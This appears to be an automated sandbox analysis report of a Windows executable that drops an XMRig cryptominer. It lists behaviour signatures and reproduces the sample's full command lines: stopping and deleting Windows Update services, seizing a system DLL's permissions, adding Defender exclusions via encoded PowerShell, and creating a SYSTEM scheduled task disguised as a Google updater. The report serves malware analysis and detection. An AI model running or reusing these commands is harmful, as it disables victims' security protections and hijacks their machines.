Analysis
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max time kernel
151s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
13-11-2022 17:06
Static task
static1
Behavioral task
behavioral1
Sample
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe
Resource
win7-20220901-en
General
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Target
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe
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Size
2.5MB
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MD5
3db308a4a293420df30a444944f2ccb6
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SHA1
4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
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SHA256
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
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SHA512
a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
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SSDEEP
49152:BIX8orGKWyNi/abKDNtEgSsoi/hiO0WygnaWjIe1BSORYt3m5rj4A19oo/tGIPIP:bBsi/cKRt1SsoipihWyzcbaqYpm5wA10
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
XMRig Miner payload 13 IoCs
Processes:
resource yara_rule behavioral1/memory/1712-148-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-150-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-152-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-153-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-154-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-156-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-158-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-159-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-160-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-162-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-164-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-165-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral1/memory/1712-167-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1376 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 872 takeown.exe 1176 icacls.exe 1780 takeown.exe 1276 icacls.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1496 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 872 takeown.exe 1176 icacls.exe 1780 takeown.exe 1276 icacls.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 1908 set thread context of 1712 1908 conhost.exe notepad.exe -
Drops file in Program Files directory 3 IoCs
Processes:
conhost.execonhost.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe conhost.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe conhost.exe File created C:\Program Files\Google\Libs\WR64.sys conhost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1568 sc.exe 1340 sc.exe 1080 sc.exe 1116 sc.exe 1336 sc.exe 616 sc.exe 1028 sc.exe 284 sc.exe 728 sc.exe 1068 sc.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 9 IoCs
Processes:
conhost.exepowershell.exenotepad.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT notepad.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs notepad.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs notepad.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 8031bf6282f7d801 powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates notepad.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1344 reg.exe 520 reg.exe 1996 reg.exe 1240 reg.exe 1732 reg.exe 1592 reg.exe 540 reg.exe 636 reg.exe 1780 reg.exe 2000 reg.exe 1832 reg.exe 1936 reg.exe 636 reg.exe 1924 reg.exe 616 reg.exe 836 reg.exe 1620 reg.exe 572 reg.exe -
Suspicious behavior: EnumeratesProcesses 58 IoCs
Processes:
powershell.execonhost.exepowershell.execonhost.exenotepad.exepid process 1544 powershell.exe 1688 conhost.exe 1916 powershell.exe 1908 conhost.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exepowercfg.execonhost.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.execonhost.exenotepad.exedescription pid process Token: SeDebugPrivilege 1544 powershell.exe Token: SeShutdownPrivilege 1100 powercfg.exe Token: SeDebugPrivilege 1688 conhost.exe Token: SeShutdownPrivilege 1888 powercfg.exe Token: SeShutdownPrivilege 2040 powercfg.exe Token: SeShutdownPrivilege 1508 powercfg.exe Token: SeTakeOwnershipPrivilege 872 takeown.exe Token: SeDebugPrivilege 1916 powershell.exe Token: SeShutdownPrivilege 1312 powercfg.exe Token: SeShutdownPrivilege 900 powercfg.exe Token: SeShutdownPrivilege 1596 powercfg.exe Token: SeShutdownPrivilege 1176 powercfg.exe Token: SeTakeOwnershipPrivilege 1780 takeown.exe Token: SeDebugPrivilege 1908 conhost.exe Token: SeLockMemoryPrivilege 1712 notepad.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.execonhost.execmd.execmd.exedescription pid process target process PID 1492 wrote to memory of 1688 1492 a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe conhost.exe PID 1492 wrote to memory of 1688 1492 a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe conhost.exe PID 1492 wrote to memory of 1688 1492 a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe conhost.exe PID 1492 wrote to memory of 1688 1492 a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe conhost.exe PID 1688 wrote to memory of 1544 1688 conhost.exe powershell.exe PID 1688 wrote to memory of 1544 1688 conhost.exe powershell.exe PID 1688 wrote to memory of 1544 1688 conhost.exe powershell.exe PID 1688 wrote to memory of 1552 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 1552 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 1552 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 832 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 832 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 832 1688 conhost.exe cmd.exe PID 1552 wrote to memory of 1568 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1568 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1568 1552 cmd.exe sc.exe PID 1552 wrote to memory of 616 1552 cmd.exe sc.exe PID 1552 wrote to memory of 616 1552 cmd.exe sc.exe PID 1552 wrote to memory of 616 1552 cmd.exe sc.exe PID 832 wrote to memory of 1100 832 cmd.exe powercfg.exe PID 832 wrote to memory of 1100 832 cmd.exe powercfg.exe PID 832 wrote to memory of 1100 832 cmd.exe powercfg.exe PID 1552 wrote to memory of 1336 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1336 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1336 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1340 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1340 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1340 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1080 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1080 1552 cmd.exe sc.exe PID 1552 wrote to memory of 1080 1552 cmd.exe sc.exe PID 832 wrote to memory of 1888 832 cmd.exe powercfg.exe PID 832 wrote to memory of 1888 832 cmd.exe powercfg.exe PID 832 wrote to memory of 1888 832 cmd.exe powercfg.exe PID 832 wrote to memory of 2040 832 cmd.exe powercfg.exe PID 832 wrote to memory of 2040 832 cmd.exe powercfg.exe PID 832 wrote to memory of 2040 832 cmd.exe powercfg.exe PID 1552 wrote to memory of 2000 1552 cmd.exe reg.exe PID 1552 wrote to memory of 2000 1552 cmd.exe reg.exe PID 1552 wrote to memory of 2000 1552 cmd.exe reg.exe PID 1552 wrote to memory of 836 1552 cmd.exe reg.exe PID 1552 wrote to memory of 836 1552 cmd.exe reg.exe PID 1552 wrote to memory of 836 1552 cmd.exe reg.exe PID 832 wrote to memory of 1508 832 cmd.exe powercfg.exe PID 832 wrote to memory of 1508 832 cmd.exe powercfg.exe PID 832 wrote to memory of 1508 832 cmd.exe powercfg.exe PID 1552 wrote to memory of 1344 1552 cmd.exe reg.exe PID 1552 wrote to memory of 1344 1552 cmd.exe reg.exe PID 1552 wrote to memory of 1344 1552 cmd.exe reg.exe PID 1552 wrote to memory of 520 1552 cmd.exe reg.exe PID 1552 wrote to memory of 520 1552 cmd.exe reg.exe PID 1552 wrote to memory of 520 1552 cmd.exe reg.exe PID 1552 wrote to memory of 1996 1552 cmd.exe reg.exe PID 1552 wrote to memory of 1996 1552 cmd.exe reg.exe PID 1552 wrote to memory of 1996 1552 cmd.exe reg.exe PID 1552 wrote to memory of 872 1552 cmd.exe takeown.exe PID 1552 wrote to memory of 872 1552 cmd.exe takeown.exe PID 1552 wrote to memory of 872 1552 cmd.exe takeown.exe PID 1552 wrote to memory of 1176 1552 cmd.exe icacls.exe PID 1552 wrote to memory of 1176 1552 cmd.exe icacls.exe PID 1552 wrote to memory of 1176 1552 cmd.exe icacls.exe PID 1688 wrote to memory of 772 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 772 1688 conhost.exe cmd.exe PID 1688 wrote to memory of 772 1688 conhost.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe"C:\Users\Admin\AppData\Local\Temp\a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7.exe"2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
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C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""3⤵
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""4⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
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C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
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C:\Windows\system32\taskeng.exetaskeng.exe {8279FD5C-C10A-45C1-89F4-E0A5A1037A44} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"3⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
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C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
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C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f5⤵
- Modifies registry key
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C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
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C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE5⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE5⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE5⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE5⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE5⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE5⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE5⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe "giyxhlnw"4⤵
-
